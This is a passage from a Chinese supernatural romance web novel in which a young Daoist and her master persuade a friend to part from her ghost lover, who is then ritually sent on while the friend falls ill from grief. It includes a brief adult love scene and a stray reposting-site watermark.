世间事,人力所不能及者,十有八九。连那一二分,都未必能尽如人愿。 * 傅清微还在假期,有空来处理甘棠的事,也幸好她在放假,给二人做决定的时间没那么紧迫。 隔了一天,傅清微才又约甘棠出来见面。 一碰面伸手撩她围巾:“又做了?” 甘棠捂着脖子直呼:“注意尺度!你这个纯情女大!” 傅清微在餐厅的沙发落座,悠悠地说:“你但凡少贪恋几次美色,阎王催命都不会催得这么急。” 甘棠脸红成番茄,说:“救命,她还在呢。” 她给傅清微看自己脖子里的玉坠。 傅清微待会要说的话太严肃了,她自己都不适应,所以先活跃一下气氛,现在活跃得差不多了,入座后就收敛了。 杜昔言特意等到甘棠脸上的红色褪去才从玉坠里出来,坐在她的身边。 她能在白天出现,不畏惧光,只是不能显形太久,人养玉,玉养魂,她比寻常的鬼好得太多。 样貌好,气质好,对甘棠也好,床技似乎更不错,甘棠宁愿死了都要爱爱。 两人在一起十分登对。 傅清微都想按头同意这门婚事,然而她想的几个解决法子都治标不治本,隐藏巨大的缺憾。可如果真的相爱,是不是能战胜一切阻碍? 她开始怀疑自己。 傅清微把菜单交给甘棠点菜,省得小心眼吃醋。 三个人要了四副碗筷,服务员向她们确认:“是还有人没到吗?” 甘棠说:“已经到了。” 一面和身边的杜昔言说话:“亲爱的你说是不是?” 杜昔言笑了笑,在桌子底下握住甘棠的手。 服务员:“……” 好好上着班,遇到神经病了。 四人在安静的角落里用餐,杜昔言不能动筷子吃,但能食饭菜精气,夹到她碗里的她都“吃”了,在三个能看见她的眼中,她和人类没什么区别。 她会对着甘棠笑,目光多停留在她的身上。 偶尔也会看向对面,向二人点头示意,温和地问她们要不要添水? 虽然茶壶自己倒水显得诡异,但几人都看见她修长指节提起茶壶,起身一一给众人添水。 甘棠贴在她身上,很爱很爱。 仿佛团圆虽晚了三百年,柳小姐和杜昔言在这个时代终于可以在一起了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 100-110 第101章 傅清微心中五味杂陈。 她扭头去看穆若水的表情, 师尊不吃饭,喝完水就把黑色口罩戴上了,一贯面无表情的侧脸看上去更冷了。 傅清微:“?” 她该不会见不得情侣恩爱吧? 又不是自己和别人恩爱, 师尊不会那么小心眼的。 四人用完了饭, 傅清微干不出当面棒打鸳鸯的事, 也为了甘棠好,让她把玉坠留下交给穆若水保管, 她带着甘棠去了另一个方便说话的地方。 商场三层的某记甜品卡座, 傅清微请了她一盏杨枝甘露。 甘棠:“有话直说,咱俩这关系不用斟酌措辞。” 傅清微说好。 那还是要斟酌的, 否则太伤人了。 傅清微:“我回去和师尊商量了一下, 你和杜小姐一人一鬼,只要你们俩还在一起,你就一定会死, 她会吸走你身上的阳气, 直至阳元耗尽。想要抵抗阴气入体,有个办法,你像我一样修道。” 甘棠毫不犹豫:“我愿意!” 傅清微神色凝重, 甘棠问了一句:“是不是有但是?” 傅清微说:“但是,修道的本质是修心。不是你出家当了道士,只需要遵守不吃牛肉等等戒律,就跟大部分皈依逃避世俗的人一样。想要修炼到可以抵御阴气的地步, 必须一心向道,心无旁骛, 最好是隐入深山清静修行。” 凡间的诱惑太多, 物欲横流,甘棠已经被人间腌入味了, 根本不可能在家修行出什么成果。 傅清微:“我有一个朋友,终南山出身,山里没水没电没网,一日三餐的食物都要自己去解决,不然就要饿肚子。苦修是最能锻炼心智的,你能为了杜小姐吃这份苦吗?” 她话说得严重了一些,她现在的修行条件比终南山就好许多。 但是如果甘棠连这份决心都没有的话,又谈何修道呢? 傅清微起初嫌蓬莱观条件不好,是因为她那时没想过要修行,后来进入阁皂山以前,她想的是就算山中条件艰苦,与世隔绝,也会苦修学到本事。 道心如此,道亦如此。 甘棠果然犹豫了一会儿,慢慢地说:“如果她陪着我的话,也许我可以克服。” 俗话说有情饮水饱,对年轻人来说为了爱什么都能战胜。 至少一时是这样。 傅清微话锋一转,说:“那么你有没有想过你的妈爸,你的姥姥姥爷,你的奶奶爷爷,你是双亲和四位老人捧着长大的独生女。你一朝出家,深山修行,你想过她们会是什么感受吗?” “见到你吃不饱穿不暖地过苦日子,你的家人会不会心如刀割,还是恨不就死?” 傅清微自己没有感受过家庭的温暖,但是从来没有对亲情失望过,她在新闻里见过灾害中用生命托举孩子的母父,也亲眼看到甘棠在家中是怎样受宠爱。 她妈妈爸爸对她的爱溢出来,甚至流向了傅清微,逢年过节会给她发祝福,请她去家里吃饭,经常多买一份吃的,让甘棠带给她。 她有很好很好的家人。 甘棠低下头,眼眶通红,眼泪一颗一颗砸进碗里。 傅清微轻声说:“为了一个人,背弃全世界,抛弃所有的家人,这种事我相信你以前肯定不会做,还会嗤之以鼻。为什么现在换成一个鬼,你就拎不清了呢?” 傅清微说完都觉得自己太法海了,可道理是这个道理。 甘棠想不通想不到的,她帮她想,她不会逼她做决定,但会把所有事情都摊开给她看。 杜小姐再好,也已经是鬼了,没有两全其美的办法,她总要舍弃一部分,甚至牺牲很多,端看值不值得。 甘棠不是听不进去她的话,但是三百年的枯等,愧疚足以压垮一个人,让她冲动付出一切。 她坐在对面掉眼泪,一言不发。 傅清微叹了口气:“还有一个法子。” 甘棠泪眼模糊地看着她,呜呜两声。 傅清微把桌上的纸巾递给她,说:“你不想离开你的家人,你也不想和杜小姐分开。为了你的生命安全,你们俩回到最初交往的样子,她待在你的玉坠里,只以入梦的形式和你相见。就算是在梦里,你们也不可以肆无忌惮每日不知节制,否则她的阴气还是会影响到你。” 志怪小说里常有狐仙入梦的桥段,吸食阳气,鬼和妖一样,不是通过入梦就可以规避一切。 尤其是和鬼行房,那真是自己把阳气往外送。 甘棠先前受的影响小,是因为杜小姐出来的次数不多,隔段时间才有一番情事,最多让她感冒两次。 随着时间的推移,就算杜小姐不显形,甘棠的身体也会变得容易生病。 甘棠说:“你不是道士吗?就没有什么给我壮阳的方法?” 旁边的旁边桌吃甜品的小姐姐眼睛立马瞪圆了,竖起小耳朵。 傅清微:“……” 甘棠降低声音说:“求求了,在梦里相见已经很可怜了,要是连爱都不能做,不如死了算了。” 傅清微就知道! 她一个刚吃上满汉全席的女大一定会纠结这种事! 傅清微:“没说不能做!是说不能经常做,更不能一夜七次!” 甘棠:“那和不能做有什么区别!” 旁边吃瓜的小姐姐:“!!!” 救命这是我能听的吗? 傅清微的建议基本按照执行最低标准,她敢提出来,说明还有活动的余地,所谓打一个巴掌给一个甜枣。 傅清微:“我有,即使我没有,我去求师尊也给你求来。但是你真的甘心只在梦里见到她,醒后忘记大半,白天她沉睡在你的玉坠里,你永远无法真实地触碰到她吗?” 甘棠和傅清微心里的回答一起说出口。 “我不愿意!” 傅清微:“在我说之前,希望你认清楚,你们之间隔的是阴阳,这已经是我能想到的最能平衡的办法了。” 甘棠想和杜昔言保持现在的亲密关系是不可能的。杜昔言是三百年道行的鬼,她能入梦能显形,甚至能以鬼身和甘棠做恩爱妻妻,说明她的阴气比普通鬼更重。想要不危及甘棠的生命,杜昔言不能常常出现在她面前,或者可以出现但必须保持距离。像行房这件事,每和她的鬼身做一次,对甘棠的身体都是巨大的损耗。 尽量不要同房,实在想的话就让杜昔言入她的梦。 即使这样严苛,也不代表甘棠就完全不会受影响。在傅清微的帮助下,定期为她拔除阴气,也只能把伤害降到最低,甘棠的体质会变差,从此体弱多病。 和阴气如此重的鬼朝夕相伴,能保住性命活到终老已经是不错。 甘棠听完,比起抛弃家人进山苦修,这样的方式似乎在她的承受范围之内。 就是用她一个人的身体健康去换相守的机会,她不会死,还能给家里的老人送终。 前世杜昔言因她呕血而亡,她死得那么痛苦,自己只是生些小病,又算得了什么? 再说不一定不和她在一起自己身体就能很好,万一出意外噶了呢。阎王的生死簿上写着什么,没有人清楚。她要活在当下。 甘棠:“我……”同意这个方案。 还没说完,傅清微举手说:“本法海的话没有讲完。” 甘棠双手合十:“大和尚请说。” 傅清微:“你知不知道和一个鬼在一起意味着什么?不是你的身体会变差,而是除了你没有人能看到她,没有人知道她的存在。你不能向别人介绍她,无论她有多好你都无法让别人知道。你们出去吃饭、约会、看电影、旅游,做普通情侣都会做的事,可走在阳光下的只有你一个人。” “身处闹市依然孤独,她是唯你可见的爱人。” “你们甚至不能拥有一张合照。” 甘棠被她说得鼻梁发酸,努力地想了想,哽咽地说:“不是有你能看见她吗?我跟你说不就好了。至于合照,照不出来就画嘛,我去学画画。” 傅清微:“要是我死了呢?” 甘棠惊呆了,眼圈迅速地比刚才更红了,立刻说:“呸呸呸,你快点。” 傅清微扭头:“呸呸呸。” 呸完她仍继续说:“我已经立好了遗嘱,师尊不需要我的钱,我死之后所有的财产都归你,东西归她,她不要的话你就收着。你不用问我在做什么,这不是我们今天谈话的重点,我也不会说。” “我可能做不到一直陪伴你,但拔除阴气我会拜托我一位小道友,她能活到你老死的那天,你不用担心我死了没人做这件事。” 甘棠:“……” 我只是和鬼在一起,而你在玩命啊我的朋友。 甘棠:“有没有可能比起阴气,我更担心你死这件事?” 傅清微轻描淡写:“担心无用,所以没必要放在心上。” 甘棠:“……你越来越像一位道士了。” 明明她今年才出的家,短短几个月,她就踏出三界外,不在凡尘中了。 傅清微摊手:“我也不知道,可能我天生适合当道士吧。”不管修道还是修心,身无挂碍的纯人,总是能走得更远一些。 傅清微屈指敲了敲桌面,说:“回到你身上吧,甘娘子。” 甘棠正襟危坐:“大师请讲。” 傅清微:“我不是非要拆散你们,只是为你剖析利害。最后怎么选还是看你。” “嗯嗯。” 见甘棠态度端正,傅清微继续往下说:“你现在二十二岁,风华正茂,杜小姐年轻貌美,你们的外貌看上去十分匹配。可十年以后,二十年以后呢,四十年后,你布满皱纹,杜小姐依然是现在的样子,青春永固,容颜不改。” 甘棠脱口而出:“那岂不是我有一个永远年轻的老婆?” 听起来似乎很美好,不管岁月如何流逝,爱人永远停留在最美丽的年华。 傅清微:“是,但你会变老,长满皱纹,牙齿掉光。你知道这件事里最难以忍受的人是谁吗?不是你,是杜昔言。她眼睁睁看着岁月摧毁你的容颜,夺去你的生机,步履蹒跚,衰老的面貌一点点覆盖她对你年轻漂亮的记忆,却毫无办法。” 没人能扭转时光,她们不会有恩爱到白头的机会,对不能白头的那个人来说,太残忍了。 傅清微:“我不知道杜小姐有没有想过这些,以上我说的你都可以回去转达给她,你们俩自己商量。” 如果所有的困难她们都能战胜,彼此都将获得一个永恒的忠贞伴侣,跨越生死,没有人的爱比她们更坚定。 但傅清微还是不想让自己的朋友品尝这份余生漫长的苦。 甘棠低头搅着碗里的杨枝甘露,从傅清微说完话后就一直沉默。 在发现杜昔言是鬼之前,她还是个无忧无虑的女大,刚为自己找到各方面都契合的女朋友欢喜鼓舞,简直是人生赢家。 紧接着从天堂跌到地狱,坚信了二十多年的唯物主义动摇,前世今生,三百年的等待,沉重得她喘不过气,她到现在也没有完全接受,自己平平无奇的人生,竟然也会有如此波澜壮阔的迭起。 又是前世情缘,又是要和喜欢的鬼度过一生,这太离奇了。 这真的是她甘棠正在经历的一切吗? 她能不能当这是一场梦?她想从梦里醒过来。 “甘棠,甘棠?”傅清微的手在她眼前挥了挥。 甘棠回神,只回了一半,另一半还飘在天上,问:“今天是几月几号?” 傅清微:“6月26。” 甘棠:“刚刚我们在聊什么?” 傅清微:“你傻了?我们在聊你和杜小姐。” “真的是我的杜小姐吗?”甘棠自言自语了一句,被傅清微听到了。 “她是柳小姐的杜昔言,不是你的。” “但我就是柳小姐啊。” “你不是。”傅清微问,“你有前世记忆吗?” “我怎么可能会有!”甘棠压低了声音,说,“我要是有记忆,我现在还会犹豫吗?我恨不得和杜昔言同生共死,还在乎这些?” “你想恢复前世记忆吗?” “有办法?”甘棠一愣。 “没有。”傅清微昨晚问过穆若水,她说灵魂投胎转世以后,前尘尽消,爱恨都化作泡影。连执念都没了,更何况记忆?想让人恢复前世记忆是不可能的。 “那你突然提起来,吓我一跳。” “我只是想告诉你,人类的一生在时间维度上或许很短,但每一世都是独一无二的。一世就是一世,你已经转世,你不是柳小姐,你对杜昔言没有义务。” 甘棠嗫嚅:“可是她等了我三百年……” “是啊,三百年按理来说不止一次轮回了,你可能已经转世好几次了。在你的上一世,上上世,你很大概率早就爱过其他人了。” 甘棠怔怔地看着她。 * 玉坠搁在桌子那端。 穆若水和杜昔言面对面坐着,观主保持沉默,一言不发。 杜昔言给她斟了一杯茶,主动打破僵局,说:“我很羡慕你们。” 穆若水冷道:“羡慕什么?我也不是人。” 杜昔言得体的表情瞬间冻住了似的,难得失态地低了一下头,说:“冒昧了。” 她好奇地说:“但你有实体。” 穆若水:“我比你高级。” 杜昔言一噎又一噎。 她想喝水缓解尴尬,但她这个身体只能怎么进怎么出,对面的穆若水摘下口罩,慢条斯理地喝了一口茶。 “想好了吗?你的结局。” 杜昔言露出一个苦笑。 “想好了,我……” 穆若水眼见心烦地打断她:“滚回你的玉坠去,本座见不得没出息的鬼!” 杜昔言:“?” 只好化作一道白光回到了玉坠里。 傅清微带着甘棠回来了,杜昔言才重新显形,在卡座里等她。 甘棠分外沉默地走过来,方才被傅清微劝得几乎已经下定的决心在面对那张温雅的脸时再次产生动摇。 她活了二十二年,将来至少还有五十年,而她们的相识只有短短的几个月,如果以时间来衡量轻重的话,似乎是微不足道的,但是为什么她会如此心痛? 只是想到要和她分开,她的心脏便窒息得喘不过气。 傅清微在穆若水身边落座。 面前的茶水已经倒好了。 傅清微道了声谢,对杜昔言道:“杜小姐,我也有一个问题要问你。” 杜昔言温声说:“但说无妨。” 她看了一眼不是人的穆若水。 傅清微也跟着她看了一眼,有些莫名其妙。 傅清微暂时把不解抛到脑后,面向杜昔言道:“你身边坐着的这个人,她的容颜改了,性格变了,没有你们在一起过的记忆,家世、经历完全不同,她真的认为她还是你的‘阿絮’吗?” 经历会塑造一个人,记忆影响一个人的感情。即使同一个灵魂,经历了不同的事,也会是不一样的性格。 关于轮回,傅清微和师尊的观点是一致的。 道教有个说法“只修今生,不修来世”,转世投胎已经是不同的人,前缘既断,何必再续? 所以穆若水根本不想找过去的记忆,明知自己可能忘了很重要的人,也无动于衷。于她早就是前生事,在她死的那一刻就了结了。 杜昔言说:“这个问题我一定要回答吗?” 傅清微:“你可以不用回答,也不必赞同我,这只是我个人的想法。” 杜昔言说:“谢谢。” 她握紧了甘棠的手,说:“我们想要回去了。” 傅清微站起来送她们,对甘棠说:“你们回去好好谈谈吧,你不需要立刻做决定,但也不要太晚。无论你的选择是什么,我都会祝福你。” 她拍了拍好友的肩膀:“我等你消息。” 甘棠低低地嗯了一声。 她把鱼形玉坠挂回脖间,步履匆匆地离开了,仿佛是为了抓紧最后相聚的时光。 穆若水陪傅清微站着,目送她远去。 甘棠的身影彻底消失后,傅清微才放松自己的身体,一手往穆若水脖子上挂了一会儿。 “好累。” “回去我给你按一下。” “心累。”怎么这种事都让甘棠遇到了,她就这么一个好朋友! “为师……给你揉揉胸口。” “今晚?”傅清微晦暗的心总算多了一点明亮。 “今晚。” 穆若水也想发泄一下。 为了方便等甘棠的回复,傅清微暂时没有回蓬莱观,而是和穆若水一起住在了租的房子里。 沙发床用不上了,两人都睡在主卧。 小三花被关在主卧外面,听见里面传来高高低低的动静,上前挠门。 可能是第一次躺在自己的床上被这么对待,又很久没有动真格的了,傅清微的表现格外热烈。 穆若水体验到了什么是真正的生性爱叫。 她抬起左手捂住傅清微的嘴,低声说:“别叫了,孩子……猫都被你吵醒了。”再听下去她的血都要烧起来了。 傅清微伸舌舔了一下她刚碰过自己左边的掌心,说:“才九点,它本来就没睡。” 穆若水捧着她的右边,一只手施展不开,还是把左手放了下来,双管齐下。 傅清微又开始了。 穆若水支起身子,低头用唇封住了她过分的情不自禁,探入她的口中搅弄出水声。 过于激烈的感觉席卷全身。 傅清微颤抖着亲吻她的软舌,咬不住,含不住。 到后来穆若水也有些失控,吻着她将她死死地抵进床榻里,恨不得把她整个人都吞吃掉。 …… 今天开始得格外早,所以傅清微还去洗了个澡冲去黏腻,回来打坐。 睁眼后穆若水在床头盯着她,目如炬火。 “虽然你口头说她做什么选择你都会祝福,实际上心里还是想她们分开。” 即使不明白师尊为什么忽然提起来,傅清微也诚实地回答:“是,毕竟人鬼殊途。” “人鬼殊途?”穆若水重复道。 “对啊,趁着她们在一起的时间不长,甘棠爱得还不深,及时止损。长痛不如短痛。” “长痛不如短痛?”穆若水又重复了一次。 奇怪,师尊今天为什么老是复读她说的话? 傅清微灵机一动:“我喜欢你。” 穆若水板着张脸。 傅清微干笑两声:“哈哈哈,我十分崇拜师尊,有时就会抑制不住敬仰之情,想要抒发出来。” “抒发完了吗?” “抒发完了。”傅清微讪讪的,盘腿坐在床上低下头。 “去,把门打开。” 傅清微听话地起身,门打开的瞬间用脚截住爆冲的小猫炮弹,说:“我带她回自己的窝,待会就回来。” “不必,猫留下。” 傅清微抱着小三花端回来,笑吟吟放到师尊的手里,顺手薅了两把圆脑袋。 穆若水说了一句让她笑容瞬间消失的话。 “你去客厅睡沙发。” 第102章 傅清微碰了一鼻子灰, 在沙发床上窝了一宿。 第二天她吃着穆若水做的早餐,收到了甘棠的消息:【你的假放到什么时候?】 傅清微咬了口热腾腾的鲜肉馅包子,腾出手打字:【还有四天】 甘棠:【三天后, 你来我家】 傅清微回了个好。 她把消息给穆若水过目, 短短三四行字, 观主瞧了好几遍,腔调古怪地说:“你满意了?” 傅清微:“?” 怎么就是她满意了?师尊这两天对她阴阳怪气!喜怒无常! 傅清微放下包子, 态度诚恳地说:“师尊, 我哪里做错了事,你可以告诉我, 我一定会改。” “你不用改。” 穆若水藏起自己的情绪, 说:“为师说过,只要你在做你认为正确的事,我会永远站在你这边。” 傅清微狐疑:“但你的态度不是这么说的。” 穆若水理直气壮:“为师心口不一不行吗?” 傅清微的脑子跟猫咪玩过的毛线团似的, 彻底凌乱了。 “那我应该相信你的心还是你的口?” “相信你自己。”穆若水给了她唯一的正确答案。 “你是不是……”傅清微停下用筷子戳包子的动作, 看着她对面坐着的女人,猜测,“不希望我拆散她们?” “她们俩不是你拆散的, 就算没有你,也不会有好结局。” “可是我加快了这个进程。”傅清微没忽略她又避开话题,道,“师尊怎么不回答我的问题?” “我回答你, 不是。” 杜昔言和甘棠对她来说就是两个陌生人,她怎么可能有无谓的同情和怜悯。 只是…… 有点物伤其类。 杜昔言勉强和她算作同类, 都是两个早就死去的人。 可物伤其类, 感同身受,难道不是人类才会有的情感吗? 穆若水率先离开了餐桌, 到沙发上坐着玩猫,一家三口只有猫咪永远无忧无虑,只因它不是人。 人有欢心甜蜜,也有悲苦意难平,后者的痛苦远胜于前者的甜。因甜的时间短暂,苦却往往是漫长的潮湿,一生都无法阴干。 想起甘棠傅清微就心情沉重,食不甘味地把两只包子吃了,剩下的打包带到山上。 三日时光匆匆飞逝。 傅清微早晨起来望着山间的太阳,多希望它不会落下。 她特意在落日时分才赶到甘棠家里,按了门铃。杜昔言和甘棠一起给她开的门。 甘棠的眼圈红红的,应该是刚哭过不久。 杜昔言承担了待客的职责,笑着说:“两位好久不见。” 傅清微在车上哭过一次了,好面子让穆若水给她把痕迹消了,现在真上门棒打鸳鸯,她的脸色和甘棠是如出一辙的悲伤。 社交能力为0。 穆若水难得向杜昔言点了点头。 杜昔言:“道长好。” 两人对视了一眼,可能没什么意义,但又只有彼此明白这一眼的深意。 四人分别坐在两张沙发上。 甘棠已经难过得说不出话。 杜昔言道:“几日前,傅道长问我,她的容颜改了,性格变了,没有我们俩在一起过的记忆,身世性格完全不同,她还是我的‘阿絮’吗?这个问题我一直在想,从重逢那日起我就想过了。” 温婉清秀的女子说:“对我而言,不管她的灵魂转世过多少次,我依然能感知到她,纵使她的容貌、性格全都变了,只要她出现在我的面前,我就能第一眼认出她,她就是我的阿絮。” “不管她变成什么样子,阿絮就是阿絮,我都会爱她。” “但我是柳怀絮的杜昔言,不是甘棠的。她没有我们在一起的记忆,没有和我相伴长大,没有青梅之谊、生死相许。整件事对她而言,是不公平的。我不能因为我的自私害了她的一生,她应该有正常人的未来。” “我的执念是回到她身边与她相见,现在实现了,看到她过得这么好,这个时代这么好,我心愿已了。请送我走吧。” 甘棠泪如雨下。 杜昔言最后一直紧紧握着她的手,却不敢和她对视。 她等了这么久,盼了这么久。阿絮,她的阿絮…… 又要和她分开了。 这次之后,或许就是永生永世。 傅清微一向情感丰富,这种时候怎么忍得住不跟着泪流满面,她连送她走的《往生咒》都念不出来,开口即是哽咽。 她的哭声和甘棠的哭声连在一起,屋子里都是啜泣。 一片哭音里,响起庄重的腔调神圣的道音。 “太上敕令,超汝孤魂,鬼魅一切,四生沾恩……”是穆若水在念超度的往生咒。 杜昔言握紧了甘棠的手,握得特别紧,但甘棠还是感觉她的力道在一点一点地消失。 不是牵着她的力道在消失,是杜昔言的身体在消失。 甘棠骤然崩溃:“别念了!我后悔了!不要再念了!” 穆若水看一眼散发出淡淡金光的杜昔言,眼睫低垂,似悲悯的神明,仿佛她曾经念过千百次这样的咒语,唇瓣兀自开合。 “我让你不要念了!我不要她走——” “停下来啊——” 甘棠泪雨滂沱地扑向穆若水,傅清微及时将她拦了下来,她伏在傅清微怀里大哭,恳求道:“不要再念了,我求求你求求你……” 她跪了下来,不知道要求谁,求天求地,还是求穆若水,放过她们。 她们只是相爱了而已,为什么天地不容? 从前是,现在也是。 她一边跪下一边磕头,眼泪溅在地上。 一遍一遍地哀求:“求求你……” 可往生咒一旦念了就没办法停下来。 傅清微心痛难抑,无法阻止甘棠的举动,就像她无法阻止这场注定的悲剧。 “太上敕令,超汝孤魂。脱离苦海,转世成人。”咒语念毕,“人”字落定,穆若水抬起眼帘,注视着面前已经变得半透明的杜昔言。 杜昔言静静地悬浮在客厅之中。 甘棠失魂落魄地坐倒在地,明明情绪都耗干了,眼泪还在不停地往外涌,像要把此生的泪都流干。 杜昔言看向傅、穆二人,即将往生的温婉女子面容多了一丝平和。 “三百年好长啊,如果我早点去转世投胎,是不是能早一刻遇到她?” 傅清微抹着眼泪,靠在穆若水的肩膀上。 杜昔言低头凝视泪如泉涌的甘棠。 “再见了,阿絮。如果有来生,我希望还能遇见你。” 她的身体里有星芒流出,化作白色光点,一点一点地消散在空气里。 屋子里仿佛吹过一缕清风,最后从甘棠伸出的指尖不舍地绕了一下,去向了另一个世界,再无痕迹。 “昔言。” 她对着空气唤了一声。 甘棠转为呢喃自语,从脖子里取下那枚鱼形翡翠吊坠,摊在手心,呆呆地坐着,犹如一具失魂的木偶。 傅清微上前扶她起来,手刚碰到她的胳膊,甘棠突然当着她的面吐出一大口血。 傅清微失色:“甘棠——” 鲜血染红了绿色的玉坠,她一只手紧攥着玉坠,另一只手死死按在了自己的胸口,有一柄钝刀子割肉,一片一片地将她的心剜下来。 “好痛……” 甘棠痛得蜷缩在她怀里,弓着身子。 杜昔言当年就是这样吗?你是这样痛的吗? 昔言…… 她喉头一甜,猩红的血再次溢出来。 傅清微抬头:“师尊!” 穆若水蹲在她身边给她把脉,说:“情志内伤,气血郁结,暂时没有生命危险。小大夫给你的药,你给她喂一粒。” 她替傅清微把沙发上的背包拿过来,傅清微单手找到药瓶,倒了一粒出来,喂进甘棠嘴里,穆若水适时递了水过来。 傅清微一只手不方便,拜托了穆若水,穆若水将她扛回了卧室,放在床上休息。 傅清微说:“我今晚要陪她在这里住一晚,师尊可以回去睡,也可以睡在客房,我待会帮你收拾出来。” 穆若水问:“你睡哪儿?” 傅清微:“我不睡,我守着。” 穆若水点头:“那我去睡了。” 傅清微:“……” 她以为师尊会陪她一起守。 穆若水可以陪她一起守,守夜守妖怪,守什么都好,不能是守另一个人。 甘棠短时间不会醒过来,傅清微把主卧的房门开着,去客房给她整理,换了新的四件套。 甘棠在午夜时分醒过来,傅清微正在练习吐纳,听见呼吸声有异便睁开眼睛,甘棠盯着天花板出神。 傅清微倒了杯热水放在床头柜,热了凉,凉了换新的。 甘棠的眼珠终于从聚焦的一个点回来,撑着身子坐起来喝水。 傅清微要来扶她。 甘棠:“杨大侠照顾好自己就行。” 傅清微:“……” 还有心思开玩笑,看来是…… 她的心理活动还没完,甘棠喝了一口水进去,吐了一口血出来。 不太好。 “师尊救……” 甘棠制止她的大惊小怪,说:“刚刚没吐干净,现在吐干净了,怪不得我睡觉一直感觉喉咙堵着。” 傅清微换了杯新的水,甘棠喝了半杯,没有再吐血。 穆若水打着哈欠走过来,打着哈欠走回去。 傅清微的担心溢于言表:“你感觉怎么样?” 甘棠摸着自己的心脏位置,实话实说:“还是有点疼,但是没那么疼了。” “明天我送你回妈爸那里,你在家养养身体,顺便去医院做个全身检查。” “好呀。” 谁也没提杜昔言的事。 失恋这件事,如果遇到渣女,哪怕不渣,只要是个人还活着,就能骂几句泄愤。 可杜昔言,无从提起,那是血和泪一起流过的三百年,不如不说。 * “阿姨叔叔好。” 甘妈妈和甘爸爸早就接到她的消息,出租车刚到楼下,车窗外面便映出二老的脸。 傅清微打了声招呼,先把甘棠扶了出来。 甘棠扭了扭身子拒绝了搀扶,说道:“我没那么弱好吗?妈爸,你们去搀傅清微,她都变杨过了。” 傅清微也不用她们扶,她的胳膊正被穆若水霸道地扶着。 ……其实差不多好了。 甘爸爸推了推鼻梁斯文的眼镜,关切道:“咱们清清这是怎么了?” “没什么不小心摔了一下,你们别听她乱说。” “这俩孩子,也不提前说一声,我菜市场买个猪蹄补补。” “现在去也不迟。”甘妈妈发话说。 “那我这就去了。” 傅清微架在那,只会笑,像个上好了发条的机器,笑就完事。 这么久了她还是没习惯甘棠家人的热情。 除去甘爸爸,一行四人上了楼,怕伤到甘棠的心,傅清微不再用女朋友的说辞,介绍穆若水是她道观里的师傅。 甘妈妈:“小棠说你出家当道士了,原来这位就是道长师傅,失敬失敬,待会您一定要坐主位。” 甘妈妈当场给老公打电话,让他多买几个菜。 傅清微劝不动一点,非要劝能打起来,干脆也就不劝了。 两人在甘家吃了午饭,把甘棠留在家里,对她妈爸说甘棠失恋了,回家养情伤,叮嘱带她去做全身检查。 老两口送她出门的时候千恩万谢,孩子这么大了,出门有个靠谱的朋友比什么都珍贵。 傅清微坐上回蓬莱观的出租车,往背包底下一摸,摸出一封大红包,里面有两千块钱。 又来了。 傅清微:【[向你转账2000元]阿姨,我已经毕业了,可以自己挣钱了,而且甘棠应该跟你说过我找了份薪水不错的工作】 甘妈妈:【收下撒,阿姨祝你毕业快乐】 傅清微:【下次不准这样,否则我就不来了】 甘妈妈:【知道啦知道啦[转账已退回]】 甘妈妈:【阿姨希望你们的友情长长久久】 傅清微:【她这次失恋有点严重,有什么不对劲的地方记得和我说】 甘妈妈回了个好。 傅清微的假期告罄,三角巾还挂在脖子上,吊着胳膊,单手持剑执行任务,谁看了不说一句灵管局灭绝人性,连病号都要上阵。 傅清微一边上班打工,一边还要操心甘棠的情伤,耐心呵护,她不能及时回消息,把手机交给了无所事事的穆观主。 穆若水:“?” 这是不是凡间说的私人秘书? 傅清微竟然敢让她做这种事?简直岂有此理!她的奖励呢? 穆若水不敢再要,很难说最后奖励是给谁的。等她的手好了,自己再奖励她换内裤。 傅清微持诀念咒,桃木剑飞去斩杀前方一只恶鬼。 穆若水在她身后:“叮咚,你收到一条新微信。” “念。”傅清微飞跃向前,人和剑同时赶到,握住剑柄从斜前方划下来,恶鬼被劈作两半,凄厉的惨叫后扭曲着消失了。她在林子里腾挪前进,飞速赶往另一边。 穆若水悠闲地飞在她身后:“甘棠说今晚吃了鱼香肉丝和蒜泥白肉,附图片两张。” 傅清微咽了咽口水:“师尊,我明天想吃东坡肉。” 穆若水:“我给你采两片荷叶,再来个莲子炖汤。” 傅清微趁机回身拥抱了她一下。 穆若水莞尔一笑,很快唇角便被拉直了似的,抿成一条线。 她目光复杂地望着月色下傅清微捉鬼除妖的身影。 甘棠回家休养以后,情况并没有变得越来越好,反而奔向了相反的方向。 起初她们以为是普通的失恋,哪怕杜昔言身份复杂,几个月的情愫而已,在一生的尺度里微不足道。长痛不如短痛,时间会治愈一切。 连甘棠自己也这么认为。 可她的心脏总是隐隐作痛,做完身体检查报告显示没什么机体异常。 紧接着她吃不下饭、睡不着觉,好几天没给傅清微发消息,无精打采,一宿一宿地窝在房间里,原本消瘦的躯体穿着衣服显得更加空荡。 抑郁躯体化的征兆如此突然和快速,她几乎是立刻地病倒了,在病床上吐了血。 医院再一次做了全身检查,半个月前还好端端的身体竟然出现器官衰竭的迹象,生机在迅速地衰败。 消息根本不敢告诉四位老人,两位家长在病床前哭得死去活来。 傅清微接到电话匆忙赶到医院,冲进病房里看见插满管子的甘棠,惊愕交加,悲伤难抑:“怎么会这样?!” “她自从回家以后,就时不时说自己心口疼,哪种疼说不上来,我们检查也查不出来。中医也看过,说是情志内伤,药灌下去好几副,一点作用都没有。” 甘爸爸跟抓住了救命稻草似的,即使面前是个女儿差不多大的同龄人,他只能病急乱投医,否则甘棠就真的没治了。 “清清,你想想办法,你有没有什么办法,有没有高人求助,让叔叔做什么都愿意,要我的命都行啊。”甘爸爸喉咙哽咽。 傅清微颤抖的手拿出手机打电话:“我认识一个大夫,我这就请她过来。” 她正要拨给龙璇玑,穆若水说:“等等。” 傅清微这才发现她师尊已经坐到了病床前,正在查看甘棠的状况。 傅清微被她的镇定感染,也来到她身边,问道:“怎么样了?” 穆若水:“你看不见吗?集中注意力,用灵眼仔细地看。” 傅清微闭上眼睛,几秒后睁开,看见甘棠的身上有一层虚影,白色的散发着朦胧的光,好像是沿着她的身体量身打造了一个光圈。 那不是光圈,那是…… 傅清微骤然睁大眼睛:“她的魂魄,怎么会?” 穆若水说:“她的魂魄动荡,和原本契合的身体产生了偏离,所以才会生重病。” 傅清微:“为什么?” 穆若水低声说:“恐怕和那日杜昔言离开有关,她受到重创,不仅伤在身体,更伤在魂体。” 她垂下眼帘,暗道了一声怪事。 傅清微听不到她的心理活动,她现在最关心一件事:“能不能治好?” 穆若水回答:“能治。但要她醒过来,我亲自问一问她。” “我先给她念安魂咒可以吗?” 